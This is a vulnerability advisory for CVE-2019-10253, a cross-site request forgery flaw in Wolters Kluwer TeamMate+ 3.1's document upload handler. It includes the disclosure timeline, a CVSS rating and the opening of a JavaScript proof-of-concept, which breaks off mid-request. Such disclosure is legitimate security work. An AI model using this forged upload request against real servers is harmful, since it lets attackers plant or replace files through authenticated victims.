发布 2019-09-02 漏洞条目

Wolters Kluwer TeamMate 3.1 – Cross-Site Request Forgery

Exploit Source

Hello,

Please find the below vulnerability details,

---------------------------------------------------------------------------------------------------------------------------------

# Exploit Title: Wolters Kluwer TeamMate+ – Cross-Site Request Forgery

(CSRF) vulnerability

# Date: 02/09/2019

# Exploit Author: Bhadresh Patel

# Version: <= TeamMate Version 3.1 (January 2019) (Internal Version:21.0.0.0)

# CVE : CVE-2019-10253

This is an article with PoC exploit code for for Wolters Kluwer TeamMate+ –

Cross-Site Request Forgery (CSRF) vulnerability

---------------------------------------------------------------------------------------------------------------------------------

Title:

====

Wolters Kluwer TeamMate+ – Cross-Site Request Forgery (CSRF) vulnerability

CVE:

====

CVE-2019-10253

Date:

====

02/09/2019 (dd/mm/yyyy)

Vendor:

======

Wolters Kluwer is a global leader in professional information, software

solutions, and services for the health, tax & accounting, finance, risk &

compliance, and legal sectors. We help our customers make critical

decisions every day by providing expert solutions that combine deep domain

knowledge with specialized technology and services.

Vendor link: http://www.teammatesolutions.com/about-us.aspx

Vulnerable Product:

==============

TeamMate+

TeamMate Global Audit Solutions, part of the Tax and Accounting Division of

Wolters Kluwer, helps professionals in all industries at organizations

around the world manage audit and compliance risks and business issues by

providing targeted, configurable, and efficient software solutions.

Solutions include TeamMate+ Audit, TeamMate+ Controls, and TeamMate

Analytics. Together, this ecosystem of solutions provides organizations

with the combined assurance they need to manage all aspects of risk

identification and assessment, electronic working paper creation and

management, controls framework management, and data analysis.

Abstract:

=======

Cross-Site Request Forgery (CSRF) vulnerability in TeamMate+ could allow an

attacker to upload malicious/forged files on TeamMate server or replace

existing uploaded files with malicious/forged files by enticing

authenticated user to visit attacker page.

Report-Timeline:

================

19/03/2019: Vendor notified

19/03/2019: Vendor responded requesting further information

20/03/2019: Further technical information with PoC was shared with vendor

01/07/2019: Vendor fixed the issue in version 3.2

Affected Software Version:

==========================

<= TeamMate January 2019 (Version 3.1) (Internal Version: 21.0.0.0)

Exploitation-Technique:

=======================

Remote

Severity Rating (CVSS):

=======================

4.3 (Medium) (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N)

CVE ID:

=======

CVE-2019-10253

Details:

=======

A Cross-Site Request Forgery (CSRF) vulnerability is discovered in

TeamMate+ which allows a remote attacker to modify application data (upload

malicious/forged files on TeamMate server or replace existing uploaded

files with malicious/forged files) without victim's knowledge by enticing

authenticated user to visit attacker page/URL.

The specific flaw exists within the handling of request to

“DomainObjectDocumentUpload.ashx” application. An application failed to

validate CSRF token before handling the POST request.

Vulnerable module/page/application:

/TeamMate/Upload/DomainObjectDocumentUpload.ashx

PoC Exploit code:

----------------------------------------------------------------------------

<html>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST",

"https://<ServerIP>/TeamMate/Upload/DomainObjectDocumentUpload.ashx",

true);

xhr.setRequestHeader("Accept", "text/html, */*; q=0.01");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9,ar;q=0.8");

xhr.setRequestHeader("Content-Type", "multipart/form-data;

boundary=----WebKitFormBoundaryNA930lURoQYsoTOn");

xhr.withCredentials = true;

var body = "------WebKitFormBoundaryNA930lURoQYsoTOn\r\n" +

"Content-Disposition: form-data; name=\"fileObjectId\"\r\n" +

"\r\n" +

"0\r\n" +